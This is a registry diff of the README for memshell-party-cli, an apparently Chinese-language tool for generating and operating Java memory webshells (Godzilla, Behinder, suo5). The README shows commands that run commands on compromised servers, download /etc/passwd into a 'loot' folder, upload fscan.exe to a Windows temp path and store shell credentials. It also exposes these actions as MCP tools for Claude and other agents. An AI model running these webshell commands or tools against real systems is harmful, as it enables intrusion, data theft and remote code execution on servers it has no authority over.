memshell-party-cli 0.3.1 → 0.3.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -11,16 +11,20 @@
11
11
 
12
12
  - **交互式向导** —— 不带参数运行 `memparty gen`,从实时拉取的 API 菜单中选择
13
13
  服务器 / 工具 / 类型 / 打包器。
14
- - **完全可脚本化** —— 每个选项都有对应命令行参数,CI 或脚本中可以精确复现。
14
+ - **完全可脚本化** —— 每个选项都有对应命令行参数,CI 或脚本中可以精确复现;
15
+ `--json` 模式下连错误都是结构化 JSON(`{"ok":false,"error":...}`)。
16
+ - **REPL** —— 裸 `memparty` 进入交互循环,一次会话跑多个命令,目标名随存随用。
15
17
  - **MCP 服务器** —— `memparty mcp` 把生成和配置能力暴露为工具,供 Claude 及其他 MCP 客户端调用。
16
18
  - **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
17
19
  - **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
18
20
  凭证是否正确(回显 / 握手双向校验)。
19
21
  - **命令执行** —— `memparty exec` 在已部署的哥斯拉 / 冰蝎马上执行命令并回显输出
20
22
  (真实 `execCommand` / `Cmd` payload 往返)。
21
- - **命名目标** —— `memparty target save` 把 shell 存进项目(支持备注 + 分类),之后
23
+ - **文件传输** —— `memparty upload` / `memparty download` 在哥斯拉 / 冰蝎马上传下载文件,
24
+ 分块传输 + 完整性校验(哥斯拉校验远端大小,冰蝎比对 MD5)。
25
+ - **命名目标** —— `memparty save` 把 shell 存进项目(支持备注 + 分类),之后
22
26
  `memparty exec hw222/bh9060 --cmd "whoami"` 一个名字就够。
23
- - **操作日志** —— 每次 gen/probe/connect/exec/target 操作都追加到
27
+ - **操作日志** —— 每次 gen/probe/connect/exec/download/upload/save/note/remove 操作都追加到
24
28
  `~/.memparty/operations.jsonl`,`memparty log` 按分类和目标查询。
25
29
  - **灵活的输出** —— payload 默认输出到 stdout,`-o file` 写文件(`.class`/`.jar` 自动
26
30
  base64 解码)。
@@ -53,8 +57,22 @@ export MEMPARTY_API_URL=http://127.0.0.1:8080
53
57
 
54
58
  ### 交互模式
55
59
 
60
+ 裸 `memparty` 进入 REPL:一个进程里连续执行任意子命令,配合自动保存的命名目标,
61
+ 一次会话打通 生成 → 验证 → 执行:
62
+
63
+ ```text
64
+ memparty> connect -u http://192.168.31.222/shell.jsp -t behinder --header-value YdwTyuQr
65
+ saved as '192.168.31.222/behinder'
66
+ memparty> exec 192.168.31.222/behinder --cmd whoami
67
+ memparty> list
68
+ memparty> exit
69
+ ```
70
+
71
+ 带参数运行时行为不变(管道 / CI 里裸 `memparty` 仍打印帮助)。REPL 内 `help` 查看命令、
72
+ `<子命令> --help` 查看示例、`exit`/`quit` 退出。`gen` / `probe` 的交互向导在 REPL 里照常可用:
73
+
56
74
  ```bash
57
- memparty gen # 内存马向导
75
+ memparty gen # 内存马向导(REPL 外)
58
76
  memparty probe # 探测马向导
59
77
  ```
60
78
 
@@ -157,40 +175,72 @@ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat
157
175
  门禁头参数与 `connect` 相同;`--json` 返回 `{ ok, tool, url, command, output, durationMs }`,
158
176
  方便脚本与 agent 使用。
159
177
 
178
+ ### 文件上传 / 下载
179
+
180
+ `memparty upload` / `memparty download` 在已部署的哥斯拉 / 冰蝎 shell 上传输文件(真实
181
+ 协议:哥斯拉调 payload 的 `uploadFile`/`bigFileUpload`/`bigFileDownload` 方法,冰蝎上传
182
+ `FileOperation` payload 类走 create+append / downloadPart)。大文件自动分块;哥斯拉传输后
183
+ 校验远端文件大小,冰蝎比对远端 MD5——校验不过直接报错,不会留下"看起来成功"的坏文件。
184
+
185
+ ```bash
186
+ # 下载:默认落到当前目录的远端同名文件;-o 指定目标(目录则保留远端文件名)
187
+ memparty download -u http://target/shell.jsp -t godzilla --pass pass --key key \
188
+ --header-value qSGAJScj /etc/passwd -o loot/passwd
189
+
190
+ # 已存在的本地文件不会被覆盖,除非显式 --force
191
+ memparty download hw222 /var/log/app.log --force
192
+
193
+ # 上传:覆盖写远端文件(截断 + 写入),上限 64 MiB
194
+ memparty upload hw222/bh9060 ./fscan.exe "C:\Windows\Temp\f.exe"
195
+ ```
196
+
197
+ 失败语义要清楚:远端文件不存在、凭证错误、分块重试耗尽都会以退出码 1 报错;上传中途失败
198
+ 时报错会提示远端文件可能是残缺的。`--json` 返回
199
+ `{ ok, tool, url, direction, remotePath, localPath, bytes, durationMs }`。
200
+
201
+ 非 ASCII 路径:冰蝎总是可用(路径经 class 常量池传输,与平台字符集无关);哥斯拉的路径参数
202
+ 由服务端按平台默认字符集解码——JDK 18+ 与 Linux 都是 UTF-8,无需任何处理;老 JDK(8/11/17)
203
+ 的中文 Windows 目标是 GBK,传中文路径时加 `--remote-charset GBK`(MCP 参数 `remoteCharset`)。
204
+ 冰蝎对 >128 MiB 的文件改用尺寸校验代替 MD5(payload 的 check 会逐字节读全文件)。
205
+ 单文件上限:哥斯拉 2 GiB(payload 的 int 限制),冰蝎上传 64 MiB、下载 2 GiB。
206
+
160
207
  ### 命名目标(项目)
161
208
 
162
209
  保存一次,之后用名字引用 —— 不用再抄一串参数。shell 存放在**项目**里:一个项目
163
210
  归组同一次任务的多台 shell,并可带 `--remark` 备注和 `--category` 分类。
164
211
  存储文件为 `~/.memparty/targets.json`。
165
212
 
213
+ `connect` / `exec` 成功后会**自动保存**为 `<主机>/<工具>`(如 `192.168.31.222/behinder`,
214
+ 加 `--no-save` 跳过),下次直接报这个名字即可;也可以用 `save` 显式指定名字:
215
+
166
216
  ```bash
167
217
  # 保存(项目自动创建;--remark/--category 是项目级属性,
168
218
  # --shell-remark 是这台 shell 自己的备注)
169
- memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
219
+ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
170
220
  -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
171
221
  --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
172
222
 
173
223
  # 列出全部(可按 --category <名称> 过滤)
174
- memparty target list
224
+ memparty list
175
225
 
176
226
  # 使用:<项目>/<shell>;项目里只有一个 shell 时光写项目名也行
177
227
  memparty connect hw222/bh9060
178
228
  memparty exec hw222 --cmd "whoami"
179
229
 
180
230
  # 改项目备注 / 改某台 shell 的备注 / 清理
181
- memparty target note hw222 --remark "新备注" --category prod
182
- memparty target note hw222/bh9060 --remark "新的 shell 备注"
183
- memparty target remove hw222/bh9060 # 删单个 shell
184
- memparty target remove hw222 # 删整个项目
231
+ memparty note hw222 --remark "新备注" --category prod
232
+ memparty note hw222/bh9060 --remark "新的 shell 备注"
233
+ memparty remove hw222/bh9060 # 删单个 shell
234
+ memparty remove hw222 # 删整个项目
185
235
  ```
186
236
 
187
237
  显式参数仍会覆盖已存值(如 `memparty exec hw222 --cmd id --pass 其他密码`)。
188
238
 
189
239
  ### 操作日志
190
240
 
191
- 每次操作(gen、probe、connect、exec、target save/note/remove)都以一行 JSON 追加到
241
+ 每次操作(gen、probe、connect、exec、download、upload、save/note/remove)都以一行 JSON 追加到
192
242
  `~/.memparty/operations.jsonl` —— 记录目标、结果、耗时,exec 还记录命令和截断后的输出。
193
- 凭证和 payload 内容不会写入日志。
243
+ 凭证、payload 内容和传输的文件内容不会写入日志。
194
244
 
195
245
  ```bash
196
246
  memparty log # 最近 50 条,新的在前
@@ -311,7 +361,8 @@ Claude Code / Claude Desktop 配置示例:
311
361
 
312
362
  暴露的工具:`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
313
363
  `generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`、
314
- `exec_command`、`target_save`、`target_note`、`target_list`、`target_remove`、`log_list`。
364
+ `exec_command`、`download_file`、`upload_file`、`target_save`、`target_note`、`target_list`、
365
+ `target_remove`、`log_list`。
315
366
 
316
367
  ## AI 技能(Claude Code)
317
368